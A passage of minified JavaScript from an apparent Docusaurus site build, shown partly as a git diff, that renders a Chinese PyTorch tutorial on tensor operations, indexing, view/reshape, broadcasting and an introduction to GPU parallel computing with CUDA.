0,t.jsx)(e.td,{children:"\u5bf9\u89d2\u4e3a1\uff0c\u5176\u4f59\u4e3a0"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"arange(s,e,step)"}),(0,t.jsx)(e.td,{children:"\u4eces\u5230e\uff0c\u6b65\u957f\u4e3astep"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"linspace(s,e,steps)"}),(0,t.jsx)(e.td,{children:"\u4eces\u5230e\uff0c\u5747\u5300\u5206\u6210step\u4efd"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"rand/randn(sizes)"}),(0,t.jsx)(e.td,{children:"rand\u662f[0,1)\u5747\u5300\u5206\u5e03\uff1brandn\u662f\u670d\u4eceN(0\uff0c1)\u7684\u6b63\u6001\u5206\u5e03"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"normal(mean,std)"}),(0,t.jsx)(e.td,{children:"\u6b63\u6001\u5206\u5e03(\u5747\u503c\u4e3amean\uff0c\u6807\u51c6\u5dee\u662fstd)"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"right"},children:"randperm(m)"}),(0,t.jsx)(e.td,{children:"\u968f\u673a\u6392\u5217"})]})]})]}),"\n",(0,t.jsx)(e.h2,{id:"213-\u5f20\u91cf\u7684\u64cd\u4f5c",children:"2.1.3 \u5f20\u91cf\u7684\u64cd\u4f5c"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u63a5\u4e0b\u6765\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u5c06\u4ecb\u7ecd\u51e0\u79cd\u5e38\u89c1\u7684\u5f20\u91cf\u7684\u64cd\u4f5c\u65b9\u6cd5\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsx)(e.li,{children:"\u52a0\u6cd5\u64cd\u4f5c\uff1a"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\n# \u65b9\u5f0f1\ny = torch.rand(4, 3) \nprint(x + y)\n\n# \u65b9\u5f0f2\nprint(torch.add(x, y))\n\n# \u65b9\u5f0f3 in-place\uff0c\u539f\u503c\u4fee\u6539\ny.add_(x) \nprint(y)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[ 2.8977, 0.6581, 0.5856],\n [-1.3604, 0.1656, -0.0823],\n [ 2.1387, 1.7959, 1.5275],\n [ 2.2427, -0.3100, -0.4826]])\ntensor([[ 2.8977, 0.6581, 0.5856],\n [-1.3604, 0.1656, -0.0823],\n [ 2.1387, 1.7959, 1.5275],\n [ 2.2427, -0.3100, -0.4826]])\ntensor([[ 2.8977, 0.6581, 0.5856],\n [-1.3604, 0.1656, -0.0823],\n [ 2.1387, 1.7959, 1.5275],\n [ 2.2427, -0.3100, -0.4826]])\n\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"2",children:["\n",(0,t.jsx)(e.li,{children:"\u7d22\u5f15\u64cd\u4f5c\uff1a(\u7c7b\u4f3c\u4e8enumpy)"}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u9700\u8981\u6ce8\u610f\u7684\u662f\uff1a\u7d22\u5f15\u51fa\u6765\u7684\u7ed3\u679c\u4e0e\u539f\u6570\u636e\u5171\u4eab\u5185\u5b58\uff0c\u4fee\u6539\u4e00\u4e2a\uff0c\u53e6\u4e00\u4e2a\u4f1a\u8ddf\u7740\u4fee\u6539\u3002\u5982\u679c\u4e0d\u60f3\u4fee\u6539\uff0c\u53ef\u4ee5\u8003\u8651\u4f7f\u7528copy()\u7b49\u65b9\u6cd5"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\nx = torch.rand(4,3)\n# \u53d6\u7b2c\u4e8c\u5217\nprint(x[:, 1]) \n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([-0.0720, 0.0666, 1.0336, -0.6965])\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"y = x[0,:]\ny += 1\nprint(y)\nprint(x[0, :]) # \u6e90tensor\u4e5f\u88ab\u6539\u4e86\u4e86\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([3.7311, 0.9280, 1.2497])\ntensor([3.7311, 0.9280, 1.2497])\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"3",children:["\n",(0,t.jsxs)(e.li,{children:["\u7ef4\u5ea6\u53d8\u6362\n\u5f20\u91cf\u7684\u7ef4\u5ea6\u53d8\u6362\u5e38\u89c1\u7684\u65b9\u6cd5\u6709",(0,t.jsx)(e.code,{children:"torch.view()"}),"\u548c",(0,t.jsx)(e.code,{children:"torch.reshape()"}),"\uff0c\u4e0b\u9762\u6211\u4eec\u5c06\u4ecb\u7ecd\u7b2c\u4e00\u4e2d\u65b9\u6cd5",(0,t.jsx)(e.code,{children:"torch.view()"}),"\uff1a"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"x = torch.randn(4, 4)\ny = x.view(16)\nz = x.view(-1, 8) # -1\u662f\u6307\u8fd9\u4e00\u7ef4\u7684\u7ef4\u6570\u7531\u5176\u4ed6\u7ef4\u5ea6\u51b3\u5b9a\nprint(x.size(), y.size(), z.size())\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.Size([4, 4]) torch.Size([16]) torch.Size([2, 8])\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8: ",(0,t.jsx)(e.code,{children:"torch.view()"})," \u8fd4\u56de\u7684\u65b0",(0,t.jsx)(e.code,{children:"tensor"}),"\u4e0e\u6e90",(0,t.jsx)(e.code,{children:"tensor"}),"\u5171\u4eab\u5185\u5b58(\u5176\u5b9e\u662f\u540c\u4e00\u4e2a",(0,t.jsx)(e.code,{children:"tensor"}),")\uff0c\uf901\u6539\u5176\u4e2d\u7684\u4e00\u4e2a\uff0c\u53e6\u5916\u4e00\u4e2a\u4e5f\u4f1a\u8ddf\u7740\u6539\u53d8\u3002(\u987e\u540d\u601d\u4e49\uff0cview()\u4ec5\u4ec5\u662f\u6539\u53d8\uf9ba\u5bf9\u8fd9\u4e2a\u5f20\uf97e\u7684\u89c2\u5bdf\u89d2\u5ea6)"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"x += 1\nprint(x)\nprint(y) # \u4e5f\u52a0\u4e86\u4e861\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[ 1.3019, 0.3762, 1.2397, 1.3998],\n [ 0.6891, 1.3651, 1.1891, -0.6744],\n [ 0.3490, 1.8377, 1.6456, 0.8403],\n [-0.8259, 2.5454, 1.2474, 0.7884]])\ntensor([ 1.3019, 0.3762, 1.2397, 1.3998, 0.6891, 1.3651, 1.1891, -0.6744,\n 0.3490, 1.8377, 1.6456, 0.8403, -0.8259, 2.5454, 1.2474, 0.7884])\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u4e0a\u9762\u6211\u4eec\u8bf4\u8fc7torch.view()\u4f1a\u6539\u53d8\u539f\u59cb\u5f20\u91cf\uff0c\u4f46\u662f\u5f88\u591a\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u5e0c\u671b\u539f\u59cb\u5f20\u91cf\u548c\u53d8\u6362\u540e\u7684\u5f20\u91cf\u4e92\u76f8\u4e0d\u5f71\u54cd\u3002\u4e3a\u4e3a\u4e86\u4f7f\u521b\u5efa\u7684\u5f20\u91cf\u548c\u539f\u59cb\u5f20\u91cf\uf967\u5171\u4eab\u5185\u5b58\uff0c\u6211\u4eec\u9700\u8981\u4f7f\u7528\u7b2c\u4e8c\u79cd\u65b9\u6cd5",(0,t.jsx)(e.code,{children:"torch.reshape()"}),"\uff0c \u540c\u6837\u53ef\u4ee5\u6539\u53d8\u5f20\u91cf\u7684\u5f62\u72b6\uff0c\u4f46\u662f\u6b64\u51fd\u6570\u5e76\u4e0d\u80fd\u4fdd\u8bc1\u8fd4\u56de\u7684\u662f\u5176\u62f7\u8d1d\u503c\uff0c\u6240\u4ee5\u5b98\u65b9\uf967\u63a8\u8350\u4f7f\u7528\u3002\u63a8\u8350\u7684\u65b9\u6cd5\u662f\u6211\u4eec\u5148\u7528 ",(0,t.jsx)(e.code,{children:"clone()"})," \u521b\u9020\u4e00\u4e2a\u5f20\u91cf\u526f\u672c\u7136\u540e\u518d\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"torch.view()"}),"\u8fdb\u884c\u51fd\u6570\u7ef4\u5ea6\u53d8\u6362 \u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8\uff1a\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"clone()"})," \u8fd8\u6709\u4e00\u4e2a\u597d\u5904\u662f\u4f1a\u88ab\u8bb0\u5f55\u5728\u8ba1\u7b97\u56fe\u4e2d\uff0c\u5373\u68af\u5ea6\u56de\u4f20\u5230\u526f\u672c\u65f6\u4e5f\u4f1a\u4f20\u5230\u6e90 Tensor \u3002\n3. \u53d6\u503c\u64cd\u4f5c\n\u5982\u679c\u6211\u4eec\u6709\u4e00\u4e2a\u5143\u7d20 ",(0,t.jsx)(e.code,{children:"tensor"})," \uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:".item()"})," \u6765\u83b7\u5f97\u8fd9\u4e2a ",(0,t.jsx)(e.code,{children:"value"}),"\uff0c\u800c\u4e0d\u83b7\u5f97\u5176\u4ed6\u6027\u8d28\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\nx = torch.randn(1) \nprint(type(x)) \nprint(type(x.item()))\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"<class 'torch.Tensor'>\n<class 'float'>\n"})}),"\n",(0,t.jsxs)(e.p,{children:["PyTorch\u4e2d\u7684 Tensor \u652f\u6301\u8d85\u8fc7\u4e00\u767e\u79cd\u64cd\u4f5c\uff0c\u5305\u62ec\u8f6c\u7f6e\u3001\u7d22\u5f15\u3001\u5207\u7247\u3001\u6570\u5b66\u8fd0\u7b97\u3001\u7ebf\u6027\u4ee3\u6570\u3001\u968f\u673a\u6570\u7b49\u7b49\uff0c\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u53ef\u53c2\u8003",(0,t.jsx)(e.a,{href:"https://pytorch.org/docs/stable/tensors.html",children:"\u5b98\u65b9\u6587\u6863"}),"\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"214-\u5e7f\u64ad\u673a\u5236",children:"2.1.4 \u5e7f\u64ad\u673a\u5236"}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u5bf9\u4e24\u4e2a\u5f62\u72b6\uf967\u540c\u7684 Tensor \u6309\u5143\u7d20\u8fd0\u7b97\u65f6\uff0c\u53ef\u80fd\u4f1a\u89e6\u53d1\u5e7f\u64ad(broadcasting)\u673a\u5236\uff1a\u5148\u9002\u5f53\u590d\u5236\u5143\u7d20\u4f7f\u8fd9\u4e24\u4e2a Tensor \u5f62\u72b6\u76f8\u540c\u540e\u518d\u6309\u5143\u7d20\u8fd0\u7b97\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"x = torch.arange(1, 3).view(1, 2)\nprint(x)\ny = torch.arange(1, 4).view(3, 1)\nprint(y)\nprint(x + y)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[1, 2]])\ntensor([[1],\n [2],\n [3]])\ntensor([[2, 3],\n [3, 4],\n [4, 5]])\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u7531\u4e8ex\u548cy\u5206\u522b\u662f1\ufa082\u5217\u548c3\ufa081\u5217\u7684\u77e9\u9635\uff0c\u5982\u679c\u8981\u8ba1\u7b97x+y\uff0c\u90a3\u4e48x\u4e2d\u7b2c\u4e00\ufa08\u76842\u4e2a\u5143\u7d20\u88ab\u5e7f\u64ad (\u590d\u5236)\u5230\uf9ba\u7b2c\u4e8c\ufa08\u548c\u7b2c\u4e09\ufa08\uff0c\u2f7dy\u4e2d\u7b2c\u2f00\uf99c\u76843\u4e2a\u5143\u7d20\u88ab\u5e7f\u64ad(\u590d\u5236)\u5230\u4e86\u7b2c\u4e8c\uf99c\u3002\u5982\u6b64\uff0c\u5c31\u53ef\u4ee5\u5bf92\u4e2a3\ufa082\uf99c\u7684\u77e9\u9635\u6309\u5143\u7d20\u76f8\u52a0\u3002"})]})}function x(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/assets/js/56d324b1.3d39d92b.js b/assets/js/56d324b1.3d39d92b.js new file mode 100644 index 0000000..ba4a825 --- /dev/null +++ b/assets/js/56d324b1.3d39d92b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3572],{28453:(e,n,l)=>{l.d(n,{R:()=>r,x:()=>i});var d=l(96540);const s={},c=d.createContext(s);function r(e){const n=d.useContext(c);return d.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),d.createElement(c.Provider,{value:n},e.children)}},38296:(e,n,l)=>{l.r(n),l.d(n,{assets:()=>h,contentTitle:()=>i,default:()=>o,frontMatter:()=>r,metadata:()=>d,toc:()=>t});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","title":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc"},"next":{"title":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907"}}');var s=l(74848),c=l(28453);const r={},i="2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md",h={},t=[{value:"2.3.1 \u4e3a\u4ec0\u4e48\u8981\u505a\u5e76\u884c\u8ba1\u7b97",id:"231--\u4e3a\u4ec0\u4e48\u8981\u505a\u5e76\u884c\u8ba1\u7b97",level:2},{value:"2.3.2 \u4e3a\u4ec0\u4e48\u9700\u8981CUDA",id:"232--\u4e3a\u4ec0\u4e48\u9700\u8981cuda",level:2},{value:"2.3.3 \u5e38\u89c1\u7684\u5e76\u884c\u7684\u65b9\u6cd5\uff1a",id:"233--\u5e38\u89c1\u7684\u5e76\u884c\u7684\u65b9\u6cd5",level:2},{value:"\u7f51\u7edc\u7ed3\u6784\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d(Network partitioning)",id:"\u7f51\u7edc\u7ed3\u6784\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2dnetwork-partitioning",level:3},{value:"\u540c\u4e00\u5c42\u7684\u4efb\u52a1\u5206\u5e03\u5230\u4e0d\u540c\u6570\u636e\u4e2d(Layer-wise partitioning)",id:"\u540c\u4e00\u5c42\u7684\u4efb\u52a1\u5206\u5e03\u5230\u4e0d\u540c\u6570\u636e\u4e2dlayer-wise-partitioning",level:3},{value:"\u4e0d\u540c\u7684\u6570\u636e\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d\uff0c\u6267\u884c\u76f8\u540c\u7684\u4efb\u52a1(Data parallelism)",id:"\u4e0d\u540c\u7684\u6570\u636e\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d\u6267\u884c\u76f8\u540c\u7684\u4efb\u52a1data-parallelism",level:3},{value:"2.3.4 \u4f7f\u7528CUDA\u52a0\u901f\u8bad\u7ec3",id:"234-\u4f7f\u7528cuda\u52a0\u901f\u8bad\u7ec3",level:2},{value:"\u5355\u5361\u8bad\u7ec3",id:"\u5355\u5361\u8bad\u7ec3",level:3},{value:"\u591a\u5361\u8bad\u7ec3",id:"\u591a\u5361\u8bad\u7ec3",level:3},{value:"\u5355\u673a\u591a\u5361DP",id:"\u5355\u673a\u591a\u5361dp",level:4},{value:"\u591a\u673a\u591a\u5361DDP",id:"\u591a\u673a\u591a\u5361ddp",level:4},{value:"DP \u4e0e DDP \u7684\u4f18\u7f3a\u70b9",id:"dp-\u4e0e-ddp-\u7684\u4f18\u7f3a\u70b9",level:3},{value:"DP \u7684\u4f18\u52bf",id:"dp-\u7684\u4f18\u52bf",level:4},{value:"DP \u7684\u7f3a\u70b9",id:"dp-\u7684\u7f3a\u70b9",level:4},{value:"DDP\u7684\u4f18\u52bf",id:"ddp\u7684\u4f18\u52bf",level:4},{value:"DDP \u7684\u7f3a\u70b9",id:"ddp-\u7684\u7f3a\u70b9",level:4},{value:"\u53c2\u8003\u8d44\u6599\uff1a",id:"\u53c2\u8003\u8d44\u6599",level:2}];function a(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"23-\u5e76\u884c\u8ba1\u7b97\u7b80\u4ecbmd",children:"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"23-\u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb",children:"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u5229\u7528PyTorch\u505a\u6df1\u5ea6\u5b66\u4e60\u7684\u8fc7\u7a0b\u4e2d\uff0c\u53ef\u80fd\u4f1a\u9047\u5230\u6570\u636e\u91cf\u8f83\u5927\u65e0\u6cd5\u5728\u5355\u5757GPU\u4e0a\u5b8c\u6210\uff0c\u6216\u8005\u9700\u8981\u63d0\u5347\u8ba1\u7b97\u901f\u5ea6\u7684\u573a\u666f\uff0c\u8fd9\u65f6\u5c31\u9700\u8981\u7528\u5230\u5e76\u884c\u8ba1\u7b97\u3002\u5b8c\u6210\u672c\u8282\u5185\u5bb9\u65f6\uff0c\u8bf7\u4f60\u786e\u4fdd\u81f3\u5c11\u5b89\u88c5\u4e86\u4e00\u4e2aNVIDIA GPU\u5e76\u5b89\u88c5\u4e86\u76f8\u5173\u7684\u9a71\u52a8\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u5e76\u884c\u8ba1\u7b97\u7684\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.li,{children:"CUDA\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.li,{children:"\u5e76\u884c\u8ba1\u7b97\u7684\u4e09\u79cd\u5b9e\u73b0\u65b9\u5f0f"}),"\n",(0,s.jsx)(n.li,{children:"\u4f7f\u7528CUDA\u52a0\u901f\u8bad\u7ec3"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"231--\u4e3a\u4ec0\u4e48\u8981\u505a\u5e76\u884c\u8ba1\u7b97",children:"2.3.1 \u4e3a\u4ec0\u4e48\u8981\u505a\u5e76\u884c\u8ba1\u7b97"}),"\n",(0,s.jsxs)(n.p,{children:["\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\u79bb\u4e0d\u5f00\u7b97\u529b\u7684\u53d1\u5c55\uff0cGPU\u7684\u51fa\u73b0\u8ba9\u6211\u4eec\u7684\u6a21\u578b\u53ef\u4ee5\u8bad\u7ec3\u7684\u66f4\u5feb\uff0c\u66f4\u597d\u3002\u6240\u4ee5\uff0c\u5982\u4f55\u5145\u5206\u5229\u7528GPU\u7684\u6027\u80fd\u6765\u63d0\u9ad8\u6211\u4eec\u6a21\u578b\u5b66\u4e60\u7684\u6548\u679c\uff0c\u8fd9\u4e00\u6280\u80fd\u662f\u6211\u4eec\u5fc5\u987b\u8981\u5b66\u4e60\u7684\u3002\u8fd9\u4e00\u8282\uff0c\u6211\u4eec\u4e3b\u8981\u8bb2\u7684\u5c31\u662fPyTorch\u7684\u5e76\u884c\u8ba1\u7b97\u3002PyTorch\u53ef\u4ee5\u5728\u7f16\u5199\u5b8c\u6a21\u578b\u4e4b\u540e\uff0c\u8ba9\u591a\u4e2aGPU\u6765\u53c2\u4e0e\u8bad\u7ec3\uff0c\u51cf\u5c11\u8bad\u7ec3\u65f6\u95f4\u3002\u4f60\u53ef\u4ee5\u5728\u547d\u4ee4\u884c\u4f7f\u7528",(0,s.jsx)(n.code,{children:"nvidia-smi"}),"\u547d\u4ee4\u6765\u67e5\u770b\u4f60\u7684GPU\u4fe1\u606f\u548c\u4f7f\u7528\u60c5\u51b5\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"232--\u4e3a\u4ec0\u4e48\u9700\u8981cuda",children:"2.3.2 \u4e3a\u4ec0\u4e48\u9700\u8981CUDA"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"CUDA"}),"\u662fNVIDIA\u63d0\u4f9b\u7684\u4e00\u79cdGPU\u5e76\u884c\u8ba1\u7b97\u6846\u67b6\u3002\u5bf9\u4e8eGPU\u672c\u8eab\u7684\u7f16\u7a0b\uff0c\u4f7f\u7528\u7684\u662f",(0,s.jsx)(n.code,{children:"CUDA"}),"\u8bed\u8a00\u6765\u5b9e\u73b0\u7684\u3002\u4f46\u662f\uff0c\u5728\u6211\u4eec\u4f7f\u7528PyTorch\u7f16\u5199\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u65f6\uff0c\u4f7f\u7528\u7684",(0,s.jsx)(n.code,{children:"CUDA"}),"\u53c8\u662f\u53e6\u4e00\u4e2a\u610f\u601d\u3002\u5728PyTorch\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"CUDA"}),"\u8868\u793a\u8981\u5f00\u59cb\u8981\u6c42\u6211\u4eec\u7684\u6a21\u578b\u6216\u8005\u6570\u636e\u5f00\u59cb\u4f7f\u7528GPU\u4e86\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u7f16\u5199\u7a0b\u5e8f\u4e2d\uff0c\u5f53\u6211\u4eec\u4f7f\u7528\u4e86 ",(0,s.jsx)(n.code,{children:".cuda()"})," \u65f6\uff0c\u5176\u529f\u80fd\u662f\u8ba9\u6211\u4eec\u7684\u6a21\u578b\u6216\u8005\u6570\u636e\u4eceCPU\u8fc1\u79fb\u5230GPU\u4e0a\uff08\u9ed8\u8ba4\u662f0\u53f7GPU\uff09\u5f53\u4e2d\uff0c\u901a\u8fc7GPU\u5f00\u59cb\u8ba1\u7b97\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u6211\u4eec\u4f7f\u7528GPU\u65f6\u4f7f\u7528\u7684\u662f",(0,s.jsx)(n.code,{children:".cuda()"}),"\u800c\u4e0d\u662f\u4f7f\u7528",(0,s.jsx)(n.code,{children:".gpu()"}),"\u3002\u8fd9\u662f\u56e0\u4e3a\u5f53\u524dGPU\u7684\u7f16\u7a0b\u63a5\u53e3\u91c7\u7528CUDA\uff0c\u4f46\u662f\u5e02\u9762\u4e0a\u7684GPU\u5e76\u4e0d\u662f\u90fd\u652f\u6301CUDA\uff0c\u53ea\u6709\u90e8\u5206NVIDIA\u7684GPU\u624d\u652f\u6301\uff0cAMD\u7684GPU\u7f16\u7a0b\u63a5\u53e3\u91c7\u7528\u7684\u662fOpenCL\uff0c\u5728\u73b0\u9636\u6bb5PyTorch\u5e76\u4e0d\u652f\u6301\u3002"]}),"\n",(0,s.jsx)(n.li,{children:"\u6570\u636e\u5728GPU\u548cCPU\u4e4b\u95f4\u8fdb\u884c\u4f20\u9012\u65f6\u4f1a\u6bd4\u8f83\u8017\u65f6\uff0c\u6211\u4eec\u5e94\u5f53\u5c3d\u91cf\u907f\u514d\u6570\u636e\u7684\u5207\u6362\u3002"}),"\n",(0,s.jsx)(n.li,{children:"GPU\u8fd0\u7b97\u5f88\u5feb\uff0c\u4f46\u662f\u5728\u4f7f\u7528\u7b80\u5355\u7684\u64cd\u4f5c\u65f6\uff0c\u6211\u4eec\u5e94\u8be5\u5c3d\u91cf\u4f7f\u7528CPU\u53bb\u5b8c\u6210\u3002"}),"\n",(0,s.jsxs)(n.li,{children:["\u5f53\u6211\u4eec\u7684\u670d\u52a1\u5668\u4e0a\u6709\u591a\u4e2aGPU\uff0c\u6211\u4eec\u5e94\u8be5\u6307\u660e\u6211\u4eec\u4f7f\u7528\u7684GPU\u662f\u54ea\u4e00\u5757\uff0c\u5982\u679c\u6211\u4eec\u4e0d\u8bbe\u7f6e\u7684\u8bdd\uff0ctensor.cuda()\u65b9\u6cd5\u4f1a\u9ed8\u8ba4\u5c06tensor\u4fdd\u5b58\u5230\u7b2c\u4e00\u5757GPU\u4e0a\uff0c\u7b49\u4ef7\u4e8etensor.cuda(0)\uff0c\u8fd9\u5c06\u6709\u53ef\u80fd\u5bfc\u81f4\u7206\u51fa",(0,s.jsx)(n.code,{children:"out of 